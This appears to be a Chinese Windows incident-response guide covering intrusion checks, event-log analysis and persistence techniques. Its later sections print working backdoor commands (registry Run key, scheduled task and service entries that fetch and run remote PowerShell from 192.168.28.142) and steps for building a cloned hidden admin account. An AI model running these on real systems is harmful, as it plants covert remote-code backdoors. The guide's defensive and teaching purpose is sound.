0x00 前言
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。
常见的应急响应事件分类:
Web 入侵:网页挂马、主页篡改、Webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDOS 攻击、DNS 劫持、ARP 欺骗
针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些 Windows 服务器入侵排查的思路。
windows 入侵排查
0x01 入侵排查思路
1.1 检查系统账号安全
1、查看服务器是否有弱口令,远程管理端口是否对公网开放。
- 检查方法:据实际情况咨询相关服务器管理员。
2、查看服务器是否存在可疑账号、新增账号。
- 检查方法:打开 cmd 窗口,输入
lusrmgr.msc
命令,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉。
3、查看服务器是否存在隐藏账号、克隆账号。
检查方法:
a、打开注册表 ,查看管理员对应键值。
在注册表编辑器中,找到 “HKEY_LOCAL_MACHINE\SAM\SAM”。默认情况下,该选项内容无法查看,需右键点击 “SAM”,选择 “权限”,打开权限管理窗口。选择当前用户(通常为 administrator),将权限勾选为 “完全控制”,点击 “确定” 后关闭注册表编辑器。
再次打开注册表编辑器,定位到 “HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”。在此项下,可以看到系统中的所有用户名,包括可能存在的隐藏账号。
若出现本地账户中没有的账户,尤其是用户名后面带有 “$” 符号的,很可能就是隐藏账户。在确认为非系统用户的前提下,可进一步确认其是否为恶意账号。
正常情况下,每个账号都有唯一对应的键值(F 值)。攻击者通常会将克隆账号的 F 值修改为与管理员账号(administrator)相同,以获取管理员权限。因此,对于发现的可疑隐藏账号,查看其对应的 F 值是否和 “administrator” 对应的 F 值相同,如果相同,则可判断该账号为克隆账号。
b、使用D盾_web查杀工具,集成了对克隆账号检测的功能。
4、结合日志,查看管理员登录时间、用户名是否存在异常。
检查方法:
a、Win+R 打开运行,输入”eventvwr.msc”,回车运行,打开“事件查看器”。
b、导出 Windows 日志 – 安全,利用微软官方工具 Log Parser 进行分析。
需要先去事件管理器进行导出日志,然后在进行查询
LogParser.exe -i:EVT "SELECT TimeGenerated AS LoginTime, EXTRACT_TOKEN(Strings, 5, '|') AS Username FROM 1.evtx WHERE EventID = 4624"
1.2 检查异常端口、进程
1、检查端口连接情况,是否有远程连接、可疑连接。
检查方法:
a、使用
netstat -ano
命令查看目前的网络连接,定位可疑的 ESTABLISHEDb、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位
tasklist | findstr "PID"
2、进程
检查方法:
a、开始 – 运行 – 输入
msinfo32
命令,依次点击 “软件环境 – 正在运行任务” 就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期以及启动时间等。b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。
c、通过微软官方提供的 Process Explorer 等工具进行排查 。 这里我们也可以利用火绒剑,PCHunter钩子,来查看对应的进程是否有异常的网络活动等等。
d、查看可疑的进程及其子进程。可以通过观察以下内容:
1
2
3
4
5没有签名验证信息的进程
没有描述信息的进程
进程的属主
进程的路径是否合法
CPU 或内存资源占用长时间过高的进程
3、小技巧:
a、查看端口对应的 PID:netstat -ano | findstr "port"
b、查看进程对应的 PID:任务管理器 – 查看 – 选择列 – PID 或者 tasklist | findstr "PID"
c、查看进程对应的程序位置:
任务管理器 – 选择对应进程 – 右键打开文件位置
运行输入 wmic
,cmd 界面输入 process
这里win10可以正常使用,win11已经弃用
win11用户可以按照以下步骤,在 Windows 11 系统中修复该错误:
1. 打开设置应用,跳转到系统可选功能。
2. 点击“添加可选功能”选项旁边的“查看功能”。
3. 在搜索框中键入 WMIC,并在结果列表中打勾。
4. 单击“下一步”在 Windows 11 中安装 WMIC。
d、tasklist /svc
进程 – PID – 服务 这里需要关注进程名,对应的服务等。
e、查看Windows服务所对应的端口:
%systemroot%/system32/drivers/etc/services(一般 %systemroot% 就是 C:\Windows 路径)
1.3 检查启动项、计划任务、服务
1、检查服务器是否有异常的启动项。
检查方法:
a、登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。 启动目录,里面的文件会随着系统启动而运行。
b、单击开始菜单 >【运行】,输入msconfig
,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
c、单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:1
2
3HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。
d、利用安全软件查看启动项、开机时间管理等。
e、组策略,运行
gpedit.msc
2、检查计划任务
检查方法:
a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。
b、单击【开始】>【运行】;输入
cmd
,然后输入at
,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。
3、服务自启动
- 检查方法:单击【开始】>【运行】,输入
services.msc
,注意服务状态和启动类型,检查是否有异常服务。
注意服务的启动参数,还有启动类型等等
1.4 检查系统相关信息
1、查看系统版本以及补丁信息
- 检查方法:单击【开始】>【运行】,输入
systeminfo
,查看系统信息。(特别关注新爆出来的0day,nday漏洞,及时打补丁)
2、查找可疑目录及文件
检查方法:
a、 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录。
1
2Window 2003版本 C:\Documents and Settings
Window 2008R2及以后版本 C:\Users\b、单击【开始】>【运行】,输入
%UserProfile%\Recent
,分析最近打开分析可疑文件。c、在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。
d、回收站、浏览器下载目录、浏览器历史记录
e、修改时间在创建时间之前的为可疑文件
3、发现并得到 WebShell、远控木马的创建时间,如何找出同一时间范围内创建的文件?
a、利用 Registry Workshop 注册表编辑器的搜索功能,可以找到最后写入时间区间的文件。
b、利用计算机自带文件搜索功能,指定修改时间进行搜索。
1.5 自动化查杀
病毒查杀
- 检查方法:下载安全软件,更新最新病毒库,进行全盘扫描。
webshell查杀
- 检查方法:选择具体站点路径进行webshell查杀,建议使用两款 WebShell 查杀工具同时查杀,可相互补充规则库的不足。
1.6 日志分析
系统日志
分析方法:
a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
b、Win+R 打开运行,输入 “eventvwr.msc”,回车运行,打开”事件查看器”。
C、导出应用程序日志、安全日志、系统日志,利用 Log Parser 进行分析。
Web 访问日志
分析方法:
a、找到中间件的web日志,打包到本地方便进行分析。
b、推荐工具:Windows 下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。Linux 下,使用 Shell 命令组合查询分析。
0x02 工具篇
2.1 病毒分析
PCHunter:http://www.xuetr.com
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/
SysInspector:http://download.eset.com.cn/download/detail/?product=sysinspector
2.2 病毒查杀
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色版、最新病毒库)
大蜘蛛:http://free.drweb.ru/download+cureit+free(推荐理由:扫描快、一次下载只能用1周,更新病毒库)
火绒安全软件:https://www.huorong.cn
360杀毒:http://sd.360.cn/download_center.html
2.3 病毒动态
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
2.4 在线病毒扫描网站
Virustotal:https://www.virustotal.com
Virscan:http://www.virscan.org
腾讯哈勃分析系统:https://habo.qq.com
Jotti 恶意软件扫描系统:https://virusscan.jotti.org
2.5 webshell查杀
D盾_Web查杀:http://www.d99net.net/index.asp
河马 WebShell 查杀:http://www.shellpub.com
Windows日志分析
0x01 Windows事件日志简介
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
系统日志
1 | 记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。 |
应用程序日志
1 | 包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。 |
安全日志
1 | 记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。 |
系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。 安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。
0X02 审核策略与事件查看器
Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
PS:默认状态下,也会记录一些简单的日志,日志默认大小20M
设置1:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,参考配置操作:
设置2:设置合理的日志属性,即日志最大大小、事件覆盖阀值等:
查看系统日志方法:
- 在**“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”**
- 按 “Window+R“,输入 ”eventvwr.msc“ 也可以直接进入“事件查看器”
0x03 事件日志分析
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:
事件ID | 说明 |
---|---|
4624 | 登录成功 |
4625 | 登录失败 |
4634 | 注销成功 |
4647 | 用户启动的注销 |
4672 | 使用超级用户(如管理员)进行登录 |
4720 | 创建用户 |
每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:
登录类型 | 描述 | 说明 |
---|---|---|
2 | 交互式登录(Interactive) | 用户在本地进行登录。 |
3 | 网络(Network) | 最常见的情况就是连接到共享文件夹或共享打印机时。 |
4 | 批处理(Batch) | 通常表明某计划任务启动。 |
5 | 服务(Service) | 每种服务都被配置在某个特定的用户账号下运行。 |
7 | 解锁(Unlock) | 屏保解锁。 |
8 | 网络明文(NetworkCleartext) | 登录的密码在网络上是通过明文传输的,如FTP。 |
9 | 新凭证(NewCredentials) | 使用带/Netonly参数的RUNAS命令运行一个程序。 |
10 | 远程交互,(RemoteInteractive) | 通过终端服务、远程桌面或远程协助访问计算机。 |
11 | 缓存交互(CachedInteractive) | 以一个域用户登录而又没有域控制器可用 |
关于更多EVENT ID,详见微软官方网站上找到了“Windows Vista 和 Windows Server 2008 中的安全事件的说明”。
案例1:可以利用eventlog事件来查看系统账号登录情况:
在**“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”**;
在事件查看器中,单击**“安全”**,查看安全日志;
在安全日志右侧操作中,点击**“筛选当前日志”**,输入事件ID进行筛选。
4624 –登录成功
4625 –登录失败
4634 – 注销成功
4647 – 用户启动的注销
4672 – 使用超级用户(如管理员)进行登录
如果出现大量打4625登录错误,那么大概率被暴力破解
案例2:可以利用eventlog事件来查看计算机开关机的记录:
1、在**“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”**;
2、在事件查看器中,单击**“系统”**,查看系统日志;
3、在系统日志右侧操作中,点击**“筛选当前日志”**,输入事件ID进行筛选。
其中事件ID 6006 ID6005、 ID 6009就表示不同状态的机器的情况(开关机)。
6005 信息 EventLog 事件日志服务已启动。(开机)
6006 信息 EventLog 事件日志服务已停止。(关机)
6009 信息 EventLog 按ctrl、alt、delete键(非正常)关机
0x04 日志分析工具
Log Parser
Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。
Log Parser 2.2下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659
Log Parser 使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/
基本查询结构
1 | Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx" |
使用Log Parser分析日志
1、查询登录成功的事件
1 | 登录成功的所有事件 |
2、查询登录失败的事件
1 | 登录失败的所有事件: |
3、系统历史开关机记录:
1 | LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006" |
LogParser Lizard
对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。
下载地址:http://www.lizard-labs.com/log_parser_lizard.aspx
依赖包:Microsoft .NET Framework 4 .5,下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42642
查询最近用户登录情况:
Event Log Explorer
Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。
下载地址:https://event-log-explorer.en.softonic.com/
参考链接:
Windows日志分析 https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ
Windows权限维持–隐藏
0x00 前言
攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。
0x01 隐藏文件
1、利用文件属性
最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。(自欺欺人)
如何真正隐藏文件?
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r D:\test\project\test
.txt
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。
破解隐藏文件:
打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。
对于一般的电脑小白有用
2、驱动级文件隐藏
驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker
下载链接: http://www.xoslab.com/efl.html
如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:
1 | c:\WINDOWS\xlkfs.dat |
那么你,应该是遭遇了驱动级文件隐藏。
如何清除?
1 | 1、查询服务状态: sc qc xlkfs |
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。
0x02 隐藏账号
window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。只对于电脑小白有用。
去查一下注册表或者lusrmgr.msc一下就看出来了
克隆账号制作过程:
1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。
2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ea,找到箭头所指目录。
3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EA”的F值中,保存。
4、分别test$和“000003EA导出到桌面,删除test$用户 net user test$ /del
5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到。
检测和清理方法:
使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。
0x03 端口复用
通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?
前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:
0x04 进程注入
进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?
1、meterpreter会话注入
当前权限无法获取hash值,查看目前系统进程
通过migrate将进程注入到system进程后,成功获得hash值。
Window后门排查:
通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。
2、Empire会话进程注入
通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。如下图:
Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。
3、Cobalt Strike进程注入
选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon。
Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。
Windows权限维持–后门
关键词:Windows系统后门、权限维持
在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。
0x01 注册表自启动
通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
常用的注册表启动键:
1 | # Run键 |
使用以下命令可以一键实现无文件注册表后门:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
Logon Scripts 后门
注册表路径:HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径:c:\test.bat
userinit后门
在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。
利用USERINIT注册表键实现无文件后门:
1 | [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] |
0x02 组策略设置脚本启动
运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
容易遇到的问题:脚本需全路径,如C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
0x03 计划任务
通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。
使用以下命令可以一键实现:
1 | schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\"" |
容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。
计划脚本每 1 分钟运行一次。
0x04 服务自启动
通过服务设置自启动,结合powershell实现无文件后门。
使用以下命令可实现:
1 | sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" |
成功创建了一个自启动服务
0x05 WMI后门
在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。
1 | Import-Module .\Persistence\Persistence.psm1 |
0x06 dll劫持
如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。
比较常用的如LPK.dll的劫持:
win7及win7以上系统增加了KnownDLLs保护,需要在注册表:
1 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls |
下添加 “lpk.dll” 才能顺利劫持:
0x07 COM劫持
利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测。